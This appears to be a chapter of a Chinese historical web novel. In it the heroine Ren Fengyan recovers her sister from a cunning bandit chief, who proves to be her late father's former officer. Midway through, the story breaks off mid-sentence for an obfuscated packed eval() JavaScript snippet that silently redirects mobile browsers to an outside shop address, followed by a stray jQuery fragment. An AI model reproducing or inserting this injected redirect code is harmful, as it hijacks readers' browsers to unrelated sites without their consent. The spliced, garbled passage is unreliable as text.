45. 野获军师
    任风言一众车队在向南的路上疾驰,多亏了皇甫仪给的文书,一路上通关无阻,还可下榻于官驿,打着官旗,一路上也避开了劫匪。

    任华四个月的身孕,然衣裳宽大,全然看不出来。

    任风言递了块白饼给任华:“我能摸摸你的肚子吗?”

    任华转身,顶着肚子道:“你摸,就是还不显怀,陆老说,恐怕要等七个月之后才会凸显。”

    任风言摸了肚子一把,一想到任华的肚子里有个小生命,她就感到神奇:“还有两日就到了,你可觉得累。”

    任华摇了摇头:“我没什么感觉。赵嫂帮我在马车内铺了厚厚的褥子,又有官舍可下榻,我一点都不累。时间赶得上吗?”

    任风言咬了一口饼道:“赶得上,我算过时间了。还有两日便到,订亲就在隔日。”

    “嗯。”

    突然,林中蹿出一个衣衫褴褛的女孩,冲过来抢过任华的饼就跑。

    任华和任风言两人傻了眼,这是什么情况?

    “小孩,你给我站住!”

    任风言三两步追了过去,突然一支箭矢飞来,任风言挥剑斩断后,只见树林处显现一张孩子的脸,她靠在一棵树下邪魅一笑,转身没入林中。

    此时,郭山已追了过来。

    “寨主,那孩子怎么回事?”

    任风言:“你怎么来了,快去护着任华,我去去就来。”

    “好。”

    正当郭山转身要走时,林中蹿出来一堆衣着杂乱的土匪,手中驾着弓箭,背上斜跨着大刀。

    “二位上差是要去哪里呀?”

    一位身着玄袍的男子摇着羽扇从队伍后走来,面如冠玉,与身后的众人格格不入。

    任风言:“大胆山贼!我奉颍川郡守皇甫仪之令前去桂郡,汝等安敢阻拦?”

    玄袍男子轻哼一声:“放箭!”

    任风言一手扯下肩上的裘衣,将射来的箭卷在了裘衣上,随后拉着郭山没入了从林。

    “不好,郭兄,我怕是调虎离山,任华还在原地。我要快回去。”

    两人随即绕着山林折回原地,却被刚才的那群山贼围了上来。

    “哈哈哈,汝二人往哪里跑?”

    任风言回头,玄袍男子站在竹林中的一处岩石上,轻摇羽扇。

    明明是冬日,但越往南气温越高。还没跑几下,汗水湿了鬓角。

    任风言看着面前的男子,他料到自己会折返去找任华,连出林的道路都提前给围上了。

    “喂!你穿得倒是人模狗样的,怎么堕落到干起山匪来?”

    玄袍男子:“山匪?这里没有什么山匪。我是山神,你们这些凡人不愿上供,我只好自己来取了。”

    “什么?”

    任风言的心中一个大大的问号?这古代的封建迷信最多是求神拜佛,求签算命,装成神仙来打劫的她也是头一回看见。

    “竖子!竟敢打官府的主意。看刀!”

    郭山拔出环首刀冲进了队伍,这些山匪一看就是训练不足,没几下就被打伤了。

    任风言拔出剑,直奔玄袍男子而去,擒贼先擒王,是自古不破的真理。

    谁知那玄袍男子往后一躲,一张大网将任风言紧紧网住,拴在了树上。

    “寨主!”

    郭山连忙过去,挥出匕首割断树上的绳子。

    “不要!”

    任风言终是慢了一声,就在匕首割断绳子之时,在机关的作用下,远处一株圆木飞速撞向郭山。

    任风言在网落下时用剑斩断网绳,整个人将郭山扑到了一侧。

    若是郭山没有躲过,怕是要被这柱二人合抱之粗的圆木撞成重伤。

    “郭兄,你没事吧?”

    郭山惊魂未定:“我没事,寨主,多谢!”

    二人站起环顾四周,早已没了山贼的踪迹。

    任风言不禁感叹:“那玄袍的男子,是个巧用机关的能手,且心思缜密,我乌山军能有此人就好了。”

    郭山有些不悦:“寨主,这山贼奸诈,不是什么好人。”

    任风言叹了一口气:“走,快回去看看,若是我所料不错,任华和我们一车的钱财,早就已经被搬空了。”

    “那怎么办?”

    “那就上门要人。他们连官府的车队都敢劫,定然名声在外。希望我的宝贝没有被带走。”

    二人回到原地,果然看不到任华和车队装有珠宝的箱子,地上还躺着几具尸体,那是皇甫仪安排护送的小兵。

    好在几个炸弹被他们当成了炭石,没有被抢走。

    任风言和郭山带着炸药,询问了路过的樵夫后,来到了玄风岭。

    随着一声巨响,玄袍男子在寨中的摇椅上被惊醒,他向身边守着的下人问道:“快去看看怎么回事?”

    还未等那人回答,一声带着颤音的禀报声似是载着风而来。

    一个脚步飞快的手下高呼着闯进来:“大王,不好了!那个女的上山了……”

    玄袍男子起身,将肩上的头发往后甩,故作冷静:“刚刚的声响怎么回事?”

    “大王,那女子不知拿的什么石头,点燃后就炸了,我们的寨门也倒了。”

    男子深吸了一口气:“怕什么?我是山神,敢亵渎这片山林,他们都得死。”

    那下人频频点头,对这说法甚是认同。

    玄风寨门口,任风言高喊:“汝等逆贼,还不快快将我姐姐交出来,不然,我即刻炸平这个山寨!”

    “哈哈哈哈哈。”

    玄袍男子踏着寨门的残片走向任风言:“你们以为,来了这里,还能出得去吗?”

    任风言冷哼一声:“看来你是要尝一下我这炸弹的威力,也罢,我就成全你。”只见任风言用手中的火折子引燃炸弹的导火绳,随即将炸弹扔向了宅子的东墙。

    “砰”的一声,墙壁早已断裂。

    玄袍男子似是有些震撼,微转过头,看见倒塌的东墙,有些后怕。

    但他发现,这武器只能往远仍,无法用作近战的兵器,于是,他高喊:“把那女子带过来。”

    当寨中土匪挟持着任华出来时,任风言终是被束缚了手脚。

    “阿姊,你没事吧?”

    任风言站在一头焦急地望着她。

    任华摇了摇头:“一切都好!”

    任风言斩钉截铁道:“小贼,你听着!钱财归你,但这女子我今天必须带走。”

    玄袍男子回道:“成交。”

    就在任华要走向中心时,玄袍男子举起弓箭准备将她射杀。

    任风言见状连忙上前,牵着任华的手一把拽了过来,将她死死护在怀中。

    “听令,包围三人。”

    就

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115273|145751||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在郭山和任风言的视线被任华吸引过去时,士兵早就在玄袍男子的指挥下,埋伏在了四周。

    寨中的土匪一茬又一茬地跑出来,郭山与任风言将任华护在身后,准备殊死一搏。

    下一瞬,从寨内飞出了两个网兜,结结实实地将任风言困住了。

    三人被押到了殿前。

    看着琳琅满目的摆件,任风言不禁感叹,他们这才是真正的土匪,竟抢了这么多值钱的玩意。

    坐在中央石椅上的玄袍男子把玩着手中的炸弹,细细看了几圈,却仍是没发现有什么古怪,又放在鼻前嗅了嗅,是一股刺鼻又新鲜的味道。

    “这东西,连军中都不曾有,汝等从何处得来?”

    任风言:“得来?那可是我造的,无处可得。”

    玄袍男子忙摆手示意两侧下人:“你们还愣着干什么!还不给贵客松绑。”

    就在下人上前为任风言松绑之时,她以迅雷不及掩耳之势抽出下人身上的短剑,几步上前,绕到玄袍男子身后,将剑抵在她脖子处。

    “你玩够了吧。”

    玄袍男子这才反应过来,眼前女子的武力并不比她身旁男子弱,更有甚者,超出了这个男子。

    “想不到,天下女子竟有此般武艺之人。是我小瞧你了。成王败寇,我认!”

    任风言横刀架在脖子前,面朝男子问道:“看你气度不凡,不像是草莽出身,怎么想到干起盗匪的营生?”

    男子冷笑道:“那就要问你们这些官吏了。你说你是皇甫仪的下属,不就是那个大名鼎鼎的度田郎嘛。可他也想不到吧,如今的百姓还不如邓氏一手遮天的时候。”

    任风言心中不是滋味,她也没有料到,樊氏比邓氏更狠,对百姓的搜刮更严重:“皇甫使君,也未曾料到事情会变成这样。”

    郭山将任华安置在一侧,将寨中其余土匪的刀一一夺下,男子被擒,他们立刻群龙无首。

    突然,黑袍男子看到任风言手中的蛇纹铜戒,一下子抓住了任风言的手,被任风言反手压在地上,剑指脖颈处:“老实点。”

    “你究竟是谁?哪里来的这枚戒指?”

    “这戒指与你何干,是我嫡母赠与我。”

    男子不再反抗,声音颤抖:“汝可姓任?”

    任风言一时间摸不清头脑:“你认得我?”

    男子低声道:“女公子,我姓百里,名画,字子丹,涿州人氏。原在任校尉帐下,谁知樊氏陷害忠良,任将军和二位公子被处死,将军一早便知自己的结局,故意将我和旧部共计三百精锐派往了南郡,我等不知将军为何,但军令不得不从。未到南郡便知将军被杀之事,连夜赶回,众将士奋力拼杀,只剩几人带着中箭的我一路向南逃去。此地原也非我所有,乃玄风大王贺齐的寨子。无路可去,我们便抢占了山头。”

    任风言又惊又喜,自己父亲的旧部竟然在此地遇见,还是自己一直想要寻找的人才,真是天要帮她。

    “子丹兄快快请起。”

    任风言扶起百里画,一一介绍道:“这是三姊任华,这位是我认的兄弟郭山。我乃外室所生之女任风言。”

    百里画作揖致歉:“女公子,百里画有眼无珠,多有得罪,望二位女公子恕罪。郭兄,今日雄姿,令在下佩服,方才之事,还请见谅。”

    郭山摆摆手:“既是一家人,不必道歉。”